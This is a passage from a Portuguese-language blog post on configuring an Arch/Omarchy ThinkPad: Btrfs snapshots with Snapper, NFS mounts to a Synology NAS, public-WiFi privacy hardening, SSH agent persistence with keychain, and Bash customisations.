<p>Flags do Brave e Chromium pra renderizar bem nessa escala:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>--ozone-platform=wayland
--enable-features=WaylandFractionalScaleV1,UseOzonePlatform,VaapiVideoDecoder,VaapiVideoEncoder
--enable-gpu-rasterization</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O VAAPI faz diferença real na bateria em YouTube.</p>
<h2>Tunando Omarchy pra ser meu<span class="hx:absolute hx:-mt-20" id="tunando-omarchy-pra-ser-meu"></span>
    <a href="#tunando-omarchy-pra-ser-meu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Omarchy vem com defaults bons. O que eu ajusto é no topo deles, sem tocar em <code>~/.local/share/omarchy/</code> (que é clobbered pelo <code>omarchy-update</code>). Toda customização fica em <code>~/.config/</code>.</p>
<h3>Infra: Btrfs, snapshots, Snapper<span class="hx:absolute hx:-mt-20" id="infra-btrfs-snapshots-snapper"></span>
    <a href="#infra-btrfs-snapshots-snapper" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Omarchy já vem com Btrfs e subvolumes separados:</p>
<table>
  <thead>
      <tr>
          <th>Subvolume</th>
          <th>Mount</th>
          <th>Entra nos snapshots?</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>@</code></td>
          <td><code>/</code></td>
          <td>sim</td>
      </tr>
      <tr>
          <td><code>@home</code></td>
          <td><code>/home</code></td>
          <td>não</td>
      </tr>
      <tr>
          <td><code>@log</code></td>
          <td><code>/var/log</code></td>
          <td>não</td>
      </tr>
      <tr>
          <td><code>@pkg</code></td>
          <td><code>/var/cache/pacman/pkg</code></td>
          <td>não</td>
      </tr>
  </tbody>
</table>
<p><code>@home</code> separado significa que <code>~/.cache</code>, <code>~/.config/BraveSoftware</code>, etc. não incham snapshots do root. Snapshot é de sistema, não de perfil.</p>
<p>Swap: zram de 4 GB com prioridade 100 (hit primeiro), mais swapfile de 30 GB com prioridade 0 (habilita hibernação, dimensionado pra RAM).</p>
<p>O stack de snapshot: Snapper tira snapshot antes e depois de cada <code>pacman -Syu</code> via snap-pac. <code>limine-snapper-sync</code> escreve esses snapshots no menu do Limine, então dá pra bootar num snapshot anterior pra reverter. Se algo quebra depois de update, você segura uma tecla no boot, escolhe o snapshot pré-update, boota read-only pra verificar, e se estiver bom, faz <code>snapper rollback</code>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/btrfs-snapshots-config.png" alt="Subvolumes Btrfs separados pra que snapshots do root não inchem com cache de usuário"  loading="lazy" /></p>
<p>Omarchy deixa o <code>snapper-cleanup.timer</code> e o <code>snapper-boot.timer</code> desabilitados por default. Habilitei os dois e configurei retenção pra caber num SSD de 1 TB sem explodir:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>TIMELINE_LIMIT_HOURLY=10
TIMELINE_LIMIT_DAILY=0
TIMELINE_LIMIT_WEEKLY=1
TIMELINE_LIMIT_MONTHLY=1
NUMBER_LIMIT=50</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Um detalhe que custa debug pra quem esquece: Docker e Ollama escrevem gigabytes em <code>/var/lib/docker</code> e <code>/var/lib/ollama</code>. Se isso cai dentro de <code>@</code>, os snapshots catastrofizam. Cada imagem Docker ou modelo Ollama baixado triplica em tamanho. Criei subvolumes aninhados pros dois, com <code>chattr +C</code> pra desligar CoW:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo btrfs subvolume create /var/lib/docker
</span></span><span class="line"><span class="cl">sudo chattr +C /var/lib/docker
</span></span><span class="line"><span class="cl">sudo btrfs subvolume create /var/lib/ollama</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso tem que ser feito ANTES de o Docker ou Ollama escrever dados. Se já tem dados lá, precisa migrar.</p>
<h3>NFS pro NAS Synology<span class="hx:absolute hx:-mt-20" id="nfs-pro-nas-synology"></span>
    <a href="#nfs-pro-nas-synology" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Meu Synology expõe três volumes. No desktop, monto normal. No notebook, tem que ser mais defensivo. O notebook anda, esquece a rede, conecta em WiFi público. Fstab do notebook:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>nfs4  _netdev,noauto,nofail,x-systemd.automount,x-systemd.idle-timeout=10min,x-systemd.mount-timeout=15s,noatime,nodiratime,nconnect=4,actimeo=10,soft,timeo=30,retrans=2</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Diferença crítica em relação ao desktop: <code>soft</code> com timeouts curtos (não fica pendurado pra sempre), <code>x-systemd.idle-timeout=10min</code> (auto-unmount quando ocioso), sem <code>network-online.target</code> no require (não atrasa boot). Resultado prático: <code>cd /mnt/gigachad</code> em casa monta lazy, fora de casa falha rápido sem trancar shell.</p>
<p>Outro detalhe importante: meu user no notebook tem UID 1026, que bate com a permissão do share no Synology. O Linux default cria user em 1000, o Synology impõe identidade via UID no fio. Se os UIDs não batem, você não consegue ler os arquivos, ou ainda pior, escreve como nobody. Rodei de TTY (com usuário deslogado) os <code>usermod</code>/<code>groupmod</code> pra remapear o user pra 1026/1026 e fiz <code>chown -R</code> em <code>/home</code>.</p>
<h3>Hardening de WiFi público<span class="hx:absolute hx:-mt-20" id="hardening-de-wifi-público"></span>
    <a href="#hardening-de-wifi-p%c3%bablico" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Notebook vai sair de casa. Num aeroporto ou café, eu não quero anunciar hostname, não quero MAC rastreável, não quero serviço escutando porta aberta.</p>
<p><code>/etc/NetworkManager/conf.d/00-macrandomize.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=stable
ethernet.cloned-mac-address=stable
connection.stable-id=${CONNECTION}/${BOOT}

ipv6.ip6-privacy=2
ipv6.addr-gen-mode=stable-privacy</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>MAC aleatório por scan (anti-fingerprinting passivo). MAC clonado estável por SSID (o portal cativo não te re-pergunta login toda vez) mas diferente entre redes. IPv6 com endereços temporários e interface ID derivado de segredo estável, não do MAC (sem vazar EUI-64).</p>
<p><code>/etc/systemd/resolved.conf.d/hardening.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Resolve]
LLMNR=no
MulticastDNS=no</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mata broadcast de hostname em LLMNR e mDNS. Também desabilito avahi:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo systemctl disable --now avahi-daemon.service avahi-daemon.socket</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>UFW firewall:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo ufw default deny incoming
</span></span><span class="line"><span class="cl">sudo ufw default allow outgoing
</span></span><span class="line"><span class="cl">sudo ufw --force enable</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>SSH server já é off por default no Omarchy. Nada escutando. Mesmo que o firewall vaze, não tem superfície.</p>
<p>Tudo isso entra num único ritual de setup inicial.</p>
<h3>Persistência de SSH agent (keyring + keychain)<span class="hx:absolute hx:-mt-20" id="persistência-de-ssh-agent-keyring--keychain"></span>
    <a href="#persist%c3%aancia-de-ssh-agent-keyring--keychain" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se você usa SSH sério, quer digitar a passphrase uma vez por boot e ter <code>ssh</code>, <code>git push</code>, <code>scp</code> mudos pelo resto do dia. No Arch atual isso tem uma pegadinha: o <code>gnome-keyring</code> 50 deixou de oferecer componente SSH, e o substituto (<code>gcr-ssh-agent</code>) é um agente plain em memória, sem persistência de passphrase. A caixa &ldquo;lembrar esta chave&rdquo; que você viu em guias antigos simplesmente não existe mais.</p>
<p>A combinação que funciona tem três peças:</p>
<ol>
<li><code>gcr-ssh-agent.socket</code> gerenciado pelo systemd serve o <code>SSH_AUTH_SOCK</code> em <code>$XDG_RUNTIME_DIR/gcr/ssh</code></li>
<li><code>pam_gnome_keyring</code> no login SDDM destrava o keyring com a senha de login (usado por apps GUI tipo Brave, não pelo SSH)</li>
<li><code>keychain</code> (wrapper) mantém um <code>ssh-agent</code> vivo entre logouts, sobrescreve o <code>SSH_AUTH_SOCK</code> pra apontar pra esse agent persistente, e cacheia o PID em <code>~/.keychain/&lt;host&gt;-sh</code></li>
</ol>
<p>Primeiro, instalo o keyring:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed gnome-keyring seahorse keychain</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Depois, edito <code>/etc/pam.d/sddm</code> pra o login password destravar o keyring automaticamente. Adiciono no topo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>-auth      optional    pam_gnome_keyring.so</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E no final:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>-session   optional    pam_gnome_keyring.so    auto_start</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O hífen na frente (<code>-auth</code>, <code>-session</code>) marca como opcional, se o módulo não carregar, não quebra login.</p>
<p>Pino o <code>SSH_AUTH_SOCK</code> pra sessões gráficas e TTY via <code>~/.config/environment.d/ssh-agent.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>SSH_AUTH_SOCK=%t/gcr/ssh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>%t</code> resolve pra <code>$XDG_RUNTIME_DIR</code>, tipo <code>/run/user/1026</code>. Habilito o socket do gcr e o linger do usuário (pra user daemons sobreviverem ao logout):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">systemctl --user <span class="nb">enable</span> --now gcr-ssh-agent.socket
</span></span><span class="line"><span class="cl">sudo loginctl enable-linger <span class="nv">$USER</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por fim, no <code>~/.config/bash/init.sh</code> o keychain inicia ou reusa o agent:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="k">if</span> <span class="nb">command</span> -v keychain <span class="p">&amp;</span>&gt;/dev/null <span class="o">&amp;&amp;</span> <span class="o">[[</span> -r ~/.ssh/id_ed25519 <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">eval</span> <span class="s2">&#34;</span><span class="k">$(</span>keychain --eval --quiet ~/.ssh/id_ed25519<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>--eval</code> emite atribuições shell (<code>SSH_AUTH_SOCK</code>, <code>SSH_AGENT_PID</code>) apontando pro agent do keychain, que passa por cima do gcr setado pelo environment.d. <code>--quiet</code> cala o banner depois que a chave está carregada.</p>
<p>Fluxo na prática: boot → primeiro terminal → keychain pede passphrase uma vez → chave fica carregada. Logout → login de novo → novos shells re-atacham no mesmo agent (via <code>~/.keychain/&lt;host&gt;-sh</code>) → zero prompt. <code>ssh-add -l</code> confirma que a chave está lá, <code>echo $SSH_AUTH_SOCK</code> confirma que está no caminho do keychain.</p>
<p>Quando você vai digitar a passphrase de novo: reboot, <code>ssh-add -D</code>, ou <code>keychain --clear</code>. Em uso normal, uma vez por dia.</p>
<h3>Bash em vez de ZSH<span class="hx:absolute hx:-mt-20" id="bash-em-vez-de-zsh"></span>
    <a href="#bash-em-vez-de-zsh" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No desktop uso ZSH. No notebook fui de Bash pra alinhar com o default do Omarchy, sem dupla de camadas modulares pra manter. <code>~/.bashrc</code> é um symlink pra <code>~/.config/bash/bashrc</code>, que faz source dos defaults do Omarchy primeiro e depois empilha as minhas customizações:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">source</span> ~/.local/share/omarchy/default/bash/rc
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/envs.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/aliases.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/mounts.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/init.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/secrets    <span class="c1"># gitignored, chmod 600</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>envs.sh</code> tem o que é meu: OpenRouter base URL, Ollama apontando pro GPU box da rede local (192.168.0.14), AWS region, analytics do Hugo, configs de zoxide e SSH agent. <code>aliases.sh</code> tem os atalhos de TLP, um alias pra <code>shell-gpt</code> via Docker, e functions pra hardenar o PATH quando rodo <code>makepkg</code> ou <code>yay</code> (prevenir injeção de binário via user config malicioso).</p>
<p><code>init.sh</code> faz o trabalho de integração. Atuin com bind manual do Ctrl-R (pra deixar a seta pra cima com o history-search padrão do bash, que eu uso mais). Keychain carregando <code>~/.ssh/id_ed25519</code> uma vez por boot e reusando nos shells seguintes (sem ter que re-autenticar SSH toda hora). Blesh se estiver instalado (autosuggestion estilo ZSH pra Bash). E uma função que manda o PROMPT_COMMAND ajustar o título da janela com o pwd atual e o comando em execução:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">__title_idle<span class="o">()</span> <span class="o">{</span> <span class="nb">printf</span> <span class="s1">&#39;\033]2;%s\007&#39;</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PWD</span><span class="p">/#</span><span class="nv">$HOME</span><span class="p">/~</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">;</span> <span class="o">}</span>
</span></span><span class="line"><span class="cl">__title_busy<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">local</span> <span class="nv">cmd</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_COMMAND</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;__title_&#34;</span>* <span class="o">||</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span> <span class="o">==</span> *<span class="s2">&#34;PROMPT_COMMAND&#34;</span>* <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">  <span class="nb">printf</span> <span class="s1">&#39;\033]2;%s — %s\007&#39;</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PWD</span><span class="p">/#</span><span class="nv">$HOME</span><span class="p">/~</span><span class="si">}</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> -n <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PROMPT_COMMAND</span><span class="p">-</span><span class="si">}</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nv">PROMPT_COMMAND</span><span class="o">=</span><span class="s2">&#34;__title_idle; </span><span class="si">${</span><span class="nv">PROMPT_COMMAND</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nv">PROMPT_COMMAND</span><span class="o">=</span><span class="s2">&#34;__title_idle&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="nb">trap</span> <span class="s1">&#39;__title_busy&#39;</span> DEBUG</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
